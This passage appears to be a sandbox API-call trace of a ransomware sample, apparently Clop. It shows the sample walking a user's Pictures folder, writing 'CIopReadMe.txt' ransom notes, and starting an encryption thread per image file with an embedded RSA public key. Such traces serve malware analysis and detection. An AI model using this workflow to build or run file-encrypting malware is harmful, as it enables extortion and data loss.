lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0100.620] SetErrorMode (uMode=0x1) returned 0x1 [0100.620] wsprintfW (in: param_1=0x2dbe0f4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt") returned 113 [0100.620] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0100.620] CloseHandle (hObject=0x5c8) returned 1 [0100.620] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0100.731] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 1 [0100.731] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 0 [0100.731] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0100.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0100.731] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x649078 [0100.731] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0100.731] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0100.731] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0100.731] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0100.731] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.731] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0100.731] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.731] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0100.731] lstrcmpW (lpString1="7Luf9iKqys 6", lpString2="..") returned 1 [0100.731] lstrcmpW (lpString1="7Luf9iKqys 6", lpString2=".") returned 1 [0100.731] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0100.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0100.732] SetErrorMode (uMode=0x1) returned 0x1 [0100.732] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0100.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0100.732] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0100.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0100.732] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x6490f8 [0100.732] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0100.732] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0100.732] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0100.732] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0100.732] lstrcmpW (lpString1="0eBemC7.bmp", lpString2="..") returned 1 [0100.732] lstrcmpW (lpString1="0eBemC7.bmp", lpString2=".") returned 1 [0100.732] wsprintfW (in: param_1=0x2dbd4b0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned 116 [0100.732] Sleep (dwMilliseconds=0xd) [0100.826] lstrcpyA (in: lpString1=0x2dbc8f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.826] lstrcpyW (in: lpString1=0x2dbce56, lpString2="0eBemC7.bmp" | out: lpString1="0eBemC7.bmp") returned="0eBemC7.bmp" [0100.826] lstrcpyW (in: lpString1=0x2dbca56, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0100.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dbc8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0100.826] WaitForSingleObject (hHandle=0x5c8, dwMilliseconds=0xffffffff) returned 0x0 [0101.090] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0101.090] lstrcmpW (lpString1="lMwuMumsTcOMWQg.bmp", lpString2="..") returned 1 [0101.090] lstrcmpW (lpString1="lMwuMumsTcOMWQg.bmp", lpString2=".") returned 1 [0101.090] wsprintfW (in: param_1=0x2dbd4b0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned 116 [0101.090] Sleep (dwMilliseconds=0xd) [0101.128] lstrcpyA (in: lpString1=0x2dbc8f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.129] lstrcpyW (in: lpString1=0x2dbce56, lpString2="lMwuMumsTcOMWQg.bmp" | out: lpString1="lMwuMumsTcOMWQg.bmp") returned="lMwuMumsTcOMWQg.bmp" [0101.129] lstrcpyW (in: lpString1=0x2dbca56, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0101.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dbc8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0101.129] WaitForSingleObject (hHandle=0x5d0, dwMilliseconds=0xffffffff) returned 0x0 [0101.265] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0 [0101.265] FindClose (in: hFindFile=0x6490f8 | out: hFindFile=0x6490f8) returned 1 [0101.265] FindClose (in: hFindFile=0x6490f8 | out: hFindFile=0x6490f8) returned 0 [0101.266] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0101.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0101.266] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x6490f8 [0101.266] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0101.266] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0101.266] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0101.266] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.266] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0101.266] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.266] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0101.266] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0101.266] FindNextFileW (in: hFindFile=0x6490f8, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0 [0101.266] FindClose (in: hFindFile=0x6490f8 | out: hFindFile=0x6490f8) returned 1 [0101.266] FindClose (in: hFindFile=0x6490f8 | out: hFindFile=0x6490f8) returned 0 [0101.266] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0101.266] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0101.267] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 1 [0101.267] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 0 [0101.267] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0101.267] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0101.267] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 1 [0101.267] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 0 [0101.267] FindNextFileW (in: hFindFile=0x648e78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0101.267] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 1 [0101.267] FindClose (in: hFindFile=0x648e78 | out: hFindFile=0x648e78) returned 0 [0101.267] FindNextFileW (in: hFindFile=0x648eb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0101.267] FindNextFileW (in: hFindFile=0x648eb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0101.267] FindNextFileW (in: hFindFile=0x648eb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0101.267] FindClose (in: hFindFile=0x648eb8 | out: hFindFile=0x648eb8) returned 1 [0101.267] FindClose (in: hFindFile=0x648eb8 | out: hFindFile=0x648eb8) returned 0 [0101.267] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0101.268] FindClose (in: hFindFile=0x648e38 | out: hFindFile=0x648e38) returned 1 [0101.268] FindClose (in: hFindFile=0x648e38 | out: hFindFile=0x648e38) returned 0 [0101.268] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.268] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.268] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 1 [0101.268] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 0 [0101.268] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.268] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0101.268] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0101.268] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0101.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0101.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0101.268] SetErrorMode (uMode=0x1) returned 0x1 [0101.268] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0101.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0101.268] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0101.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0101.268] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x648e38 [0101.268] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0101.268] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0101.268] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.268] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.268] lstrcmpW (lpString1="IwWqYwDX1-Oo2.gif", lpString2="..") returned 1 [0101.268] lstrcmpW (lpString1="IwWqYwDX1-Oo2.gif", lpString2=".") returned 1 [0101.268] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned 50 [0101.268] Sleep (dwMilliseconds=0xd) [0101.348] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.348] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="IwWqYwDX1-Oo2.gif" | out: lpString1="IwWqYwDX1-Oo2.gif") returned="IwWqYwDX1-Oo2.gif" [0101.348] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: 